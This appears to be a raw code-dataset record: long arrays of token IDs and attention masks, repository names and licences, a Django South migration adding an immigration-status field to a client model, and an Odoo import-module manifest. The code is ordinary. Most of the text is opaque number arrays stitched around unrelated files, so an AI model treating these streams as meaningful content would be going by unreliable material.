4679, 63, 8460, 63, 2865, 63, 4758, 63, 1612, 275, 942, 199, 4679, 63, 8460, 63, 515, 63, 7786, 275, 942, 199, 4679, 63, 2911, 63, 4553, 63, 509, 63, 4423, 275, 942, 199, 4679, 63, 14964, 63, 3771, 275, 488, 199, 199, 4679, 63, 9823, 63, 6048, 63, 30116, 275, 4902, 14, 2330, 14, 14072, 12626, 17935, 342, 199, 199, 318, 19828, 4793, 8, 1273, 12, 2403, 304, 523, 340, 1680, 14, 2460, 8, 1861, 304, 272, 372, 1680, 59, 552, 8, 1861, 15405, 523, 372, 1680, 421, 199, 318, 29335, 8529, 5201, 8, 1273, 12, 8541, 304, 523, 408, 12838, 282, 1059, 4066, 626, 652, 911, 506, 11922, 465, 282, 2849, 1423, 523, 701, 314, 5218, 1041, 523, 327, 3898, 728, 2419, 19595, 370, 3874, 314, 4875, 5218, 4110, 12, 2951, 523, 327, 22671, 2863, 9949, 7869, 436, 6313, 7003, 587, 14, 523, 340, 295, 14, 1431, 8, 82, 23811, 65, 13, 6353, 13, 58, 16, 13, 25, 10683, 14, 1103, 15, 20253, 4268, 1680, 304, 272, 372, 1680, 221, 327, 3091, 18593, 5784, 14, 523, 340, 8541, 508, 283, 2676, 356, 272, 372, 4902, 14, 8338, 63, 20526, 14, 12838, 1858, 17796, 1173, 8, 1273, 9, 523, 372, 21673, 435, 1680, 14, 1814, 27769, 21673, 435, 283, 3212, 30385, 435, 3546, 531, 221, 435, 21673, 421, 199, 318, 13930, 8, 68, 12, 8541, 304, 523, 408, 32488, 282, 22335, 5627, 436, 2529, 282, 446, 36, 2725, 626, 1159, 14822, 13, 436, 523, 5218, 13, 13572, 1041, 523, 340, 8541, 508, 283, 2676, 356, 272, 327, 824, 14, 5803, 19058, 8785, 327, 4110, 543, 275, 315, 876, 496, 823, 269, 10269, 367, 272, 327, 2005, 4499, 14, 18365, 279, 13, 2143, 370, 1736, 6818, 626, 14, 272, 366, 275, 366, 14, 1814, 7863, 297, 6468, 5, 1644, 79, 7, 450, 6206, 7863, 1333, 523, 372, 29335, 8529, 5201, 8, 8675, 63, 7093, 14, 3765, 3654, 36, 7, 435, 366, 395, 8541, 9, 421, 199, 318, 2654, 8438, 8, 1199, 12, 3819, 304, 523, 408, 14995, 376, 3819, 1059, 370, 376, 1072, 931, 1041, 523, 1072, 12, 3329, 275, 747, 14, 515, 14, 7973, 8, 1199, 9, 523, 372, 1543, 83, 4111, 83, 5, 83, 7, 450, 334, 1199, 12, 3819, 12, 3329, 9, 421, 199, 533, 10256, 8, 785, 304, 523, 408, 4277, 8469, 314, 3792, 1202, 4453, 282, 2849, 4902, 1347, 14, 819, 1448, 716, 3163, 12, 10015, 282, 2849, 1347, 437, 365, 282, 6779, 402, 7124, 26, 819, 413, 9, 5445, 15, 4423, 15, 16847, 221, 12821, 1350, 15, 4435, 15, 6839, 14, 523, 499, 9, 6555, 83, 4519, 12821, 1275, 79, 1584, 523, 650, 9, 2142, 8295, 12821, 282, 3366, 334, 4342, 15, 5904, 9, 523, 841, 9, 8844, 4483, 32716, 314, 3432, 315, 282, 4497, 8844, 819, 334, 9874, 402, 3520, 7124, 883, 506, 2716, 4959, 819, 11606, 282, 1900, 7794, 1126, 16657, 12, 282, 11410, 1347, 699, 4293, 2951, 523, 11687, 641, 314, 2061, 1072, 402, 642, 6779, 402, 7124, 14, 819, 11017, 2005, 11410, 3718, 15026, 1929, 370, 12276, 6272, 314, 5689, 14, 523, 2104, 2893, 12, 1380, 25833, 699, 652, 4839, 370, 664, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pfmk/folsom
morello/migrations/0006_auto__add_field_client_immigration_status.py
1
6796
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding field 'Client.immigration_status' db.add_column('morello_client', 'immigration_status', self.gf('django.db.models.fields.CharField')(default=0, max_length=1), keep_default=False) def backwards(self, orm): # Deleting field 'Client.immigration_status' db.delete_column('morello_client', 'immigration_status') models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'morello.client': { 'Meta': {'object_name': 'Client'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'immigration_status': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'languages_spoken': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'marital_status': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'persons': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['morello.Person']", 'unique': 'True'}), 'race_ethnicity': ('django.db.models.fields.CharField', [], {'max_length': '1'}) }, 'morello.client_nextdoor': { 'Meta': {'object_name': 'Client_NextDoor'}, 'arrested': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'clients': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['morello.Client']", 'unique': 'True'}), 'convicted': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'employer_declined': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'employer_refused': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'why_cx': ('django.db.models.fields.CharField', [], {'max_length': '1'}) }, 'morello.notes': { 'Meta': {'object_name': 'Notes'}, 'author': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"}), 'body': ('django.db.models.fields.TextField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'sticky': ('django.db.models.fields.BooleanField', [], {'default': 'False'}) }, 'morello.organization': { 'Meta': {'object_name': 'Organization'}, 'address_city': ('django.db.models.fields.CharField', [], {'max_length': '60'}), 'address_state': ('django.db.models.fields.CharField', [], {'max_length': '30'}), 'address_street': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'address_zip': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'website': ('django.db.models.fields.URLField', [], {'max_length': '200'}) }, 'morello.person': { 'Meta': {'object_name': 'Person'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name_first': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'name_last': ('django.db.models.fields.CharField', [], {'max_length': '50'}), 'name_middle': ('django.db.models.fields.CharField', [], {'max_length': '50'}) } } complete_apps = ['morello']
gpl-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 2197, 199, 504, 12919, 14, 697, 492, 1592, 199, 504, 12919, 14, 86, 18, 492, 24765, 199, 504, 1639, 14, 697, 492, 1709, 421, 199, 533, 12090, 8, 24822, 304, 339, 347, 17465, 8, 277, 12, 9813, 304, 267, 327, 12934, 901, 283, 3041, 14, 20066, 7077, 63, 1205, 7, 267, 1592, 14, 525, 63, 2301, 360, 573, 3369, 320, 63, 1258, 297, 283, 20066, 7077, 63, 1205, 297, 1993, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 885, 29, 16, 12, 1390, 63, 1267, 29, 17, 395, 1993, 4215, 63, 885, 29, 797, 9, 2378, 347, 8552, 8, 277, 12, 9813, 304, 267, 327, 15920, 901, 283, 3041, 14, 20066, 7077, 63, 1205, 7, 267, 1592, 14, 1807, 63, 2301, 360, 573, 3369, 320, 63, 1258, 297, 283, 20066, 7077, 63, 1205, 358, 2378, 1709, 275, 469, 267, 283, 1178, 14, 923, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 2448, 2267, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1257, 1604, 288, 283, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 3071, 267, 1660, 267, 283, 1178, 14, 5693, 356, 469, 288, 283, 3396, 356, 791, 7128, 356, 16111, 1317, 63, 466, 363, 571, 63, 1302, 297, 283, 1317, 63, 466, 363, 1238, 297, 283, 11879, 18106, 283, 3235, 63, 6314, 356, 9510, 1317, 63, 466, 297, 283, 11879, 9878, 283, 785, 63, 354, 356, 283, 7980, 2267, 288, 283, 11879, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 1317, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 10778, 14, 11282, 6097, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1400, 3071, 267, 1660, 267, 283, 1178, 14, 751, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 1899, 2267, 288, 283, 602, 63, 11806, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2123, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 16577, 297, 990, 791, 988, 63, 1267, 356, 283, 2194, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2246, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2634, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 2448, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 374, 63, 2682, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 549, 1604, 288, 283, 374, 63, 7018, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 288, 283, 374, 63, 11434, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 288, 283, 2019, 63, 2886, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2019, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 3933, 1604, 288, 283, 751, 63, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2473, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1216, 3071, 267, 1660, 267, 283, 10778, 14, 20735, 356, 469, 288, 283, 3396, 356, 791, 7128, 356, 16111, 354, 21099, 283, 3235, 63, 6314, 356, 9510, 571, 63, 1302, 297, 283, 1238, 9878, 283, 785, 63, 354, 356, 283, 11282, 297, 283, 697, 63, 1224, 356, 3546, 1176, 63, 1317, 63, 466, 15208, 288, 283, 571, 63, 1302, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 1238, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 3071, 267, 1660, 267, 283, 573, 3369, 320, 14, 1258, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 3041, 2267, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 2197, 199, 504, 12919, 14, 697, 492, 1592, 199, 504, 12919, 14, 86, 18, 492, 24765, 199, 504, 1639, 14, 697, 492, 1709, 421, 199, 533, 12090, 8, 24822, 304, 339, 347, 17465, 8, 277, 12, 9813, 304, 267, 327, 12934, 901, 283, 3041, 14, 20066, 7077, 63, 1205, 7, 267, 1592, 14, 525, 63, 2301, 360, 573, 3369, 320, 63, 1258, 297, 283, 20066, 7077, 63, 1205, 297, 1993, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 885, 29, 16, 12, 1390, 63, 1267, 29, 17, 395, 1993, 4215, 63, 885, 29, 797, 9, 2378, 347, 8552, 8, 277, 12, 9813, 304, 267, 327, 15920, 901, 283, 3041, 14, 20066, 7077, 63, 1205, 7, 267, 1592, 14, 1807, 63, 2301, 360, 573, 3369, 320, 63, 1258, 297, 283, 20066, 7077, 63, 1205, 358, 2378, 1709, 275, 469, 267, 283, 1178, 14, 923, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 2448, 2267, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1257, 1604, 288, 283, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 3071, 267, 1660, 267, 283, 1178, 14, 5693, 356, 469, 288, 283, 3396, 356, 791, 7128, 356, 16111, 1317, 63, 466, 363, 571, 63, 1302, 297, 283, 1317, 63, 466, 363, 1238, 297, 283, 11879, 18106, 283, 3235, 63, 6314, 356, 9510, 1317, 63, 466, 297, 283, 11879, 9878, 283, 785, 63, 354, 356, 283, 7980, 2267, 288, 283, 11879, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 1317, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 10778, 14, 11282, 6097, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1400, 3071, 267, 1660, 267, 283, 1178, 14, 751, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 1899, 2267, 288, 283, 602, 63, 11806, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2123, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 16577, 297, 990, 791, 988, 63, 1267, 356, 283, 2194, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2246, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2634, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 2448, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 374, 63, 2682, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 549, 1604, 288, 283, 374, 63, 7018, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 288, 283, 374, 63, 11434, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 288, 283, 2019, 63, 2886, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2019, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 3933, 1604, 288, 283, 751, 63, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2473, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1216, 3071, 267, 1660, 267, 283, 10778, 14, 20735, 356, 469, 288, 283, 3396, 356, 791, 7128, 356, 16111, 354, 21099, 283, 3235, 63, 6314, 356, 9510, 571, 63, 1302, 297, 283, 1238, 9878, 283, 785, 63, 354, 356, 283, 11282, 297, 283, 697, 63, 1224, 356, 3546, 1176, 63, 1317, 63, 466, 15208, 288, 283, 571, 63, 1302, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 1238, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 3071, 267, 1660, 267, 283, 573, 3369, 320, 14, 1258, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 3041, 2267, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ChanduERP/odoo
addons/base_import/__openerp__.py
317
1227
{ 'name': 'Base import', 'description': """ New extensible file import for OpenERP ====================================== Re-implement openerp's file import system: * Server side, the previous system forces most of the logic into the client which duplicates the effort (between clients), makes the import system much harder to use without a client (direct RPC or other forms of automation) and makes knowledge about the import/export system much harder to gather as it is spread over 3+ different projects. * In a more extensible manner, so users and partners can build their own front-end to import from other file formats (e.g. OpenDocument files) which may be simpler to handle in their work flow or from their data production sources. * In a module, so that administrators and users of OpenERP who do not need or want an online import can avoid it being available to users. """, 'category': 'Uncategorized', 'website': 'https://www.odoo.com', 'author': 'OpenERP SA', 'depends': ['web'], 'installable': True, 'auto_install': True, 'data': [ 'security/ir.model.access.csv', 'views/base_import.xml', ], 'qweb': ['static/src/xml/import.xml'], }
agpl-3.0
[ 91, 272, 283, 354, 356, 283, 1563, 492, 297, 272, 283, 1802, 356, 408, 199, 4665, 2178, 1164, 570, 492, 367, 7653, 199, 2486, 23476, 199, 199, 497, 13, 21463, 5166, 1159, 570, 492, 2656, 26, 199, 199, 10, 7146, 5366, 12, 314, 4136, 2656, 25983, 4750, 402, 314, 9661, 1901, 314, 523, 1890, 1314, 15755, 314, 28058, 334, 13007, 13431, 395, 7704, 314, 523, 492, 2656, 8298, 12159, 424, 370, 675, 1928, 282, 1890, 334, 2275, 11785, 503, 523, 1163, 4513, 402, 25461, 9, 436, 7704, 29105, 3595, 314, 523, 492, 15, 3790, 2656, 8298, 12159, 424, 370, 13082, 465, 652, 365, 308, 8984, 1806, 523, 650, 11, 3365, 11336, 14, 199, 199, 10, 1010, 282, 1655, 2178, 1164, 30800, 12, 880, 4390, 436, 18943, 883, 1900, 3932, 523, 5705, 13738, 13, 500, 370, 492, 687, 1163, 570, 6752, 334, 69, 14, 71, 14, 3232, 5564, 523, 1584, 9, 1314, 1443, 506, 28293, 370, 2429, 315, 3932, 1736, 6369, 503, 687, 523, 3932, 666, 9920, 5274, 14, 199, 199, 10, 1010, 282, 859, 12, 880, 626, 4628, 3075, 2750, 436, 4390, 402, 7653, 3963, 886, 440, 523, 1929, 503, 2934, 376, 18470, 492, 883, 5126, 652, 3769, 2808, 370, 4390, 14, 199, 7208, 272, 283, 3710, 356, 283, 1358, 7206, 1759, 297, 272, 283, 7360, 356, 283, 2859, 921, 1544, 14, 22058, 14, 957, 297, 272, 283, 2502, 356, 283, 25347, 13950, 297, 272, 283, 8912, 356, 788, 2520, 995, 272, 283, 21762, 356, 715, 12, 272, 283, 2495, 63, 3174, 356, 715, 12, 272, 283, 576, 356, 359, 267, 283, 4416, 15, 723, 14, 1238, 14, 2732, 14, 4737, 297, 267, 283, 4196, 15, 1095, 63, 646, 14, 1652, 297, 272, 2156, 272, 283, 22600, 356, 788, 1986, 15, 2164, 15, 1652, 15, 646, 14, 1652, 995, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 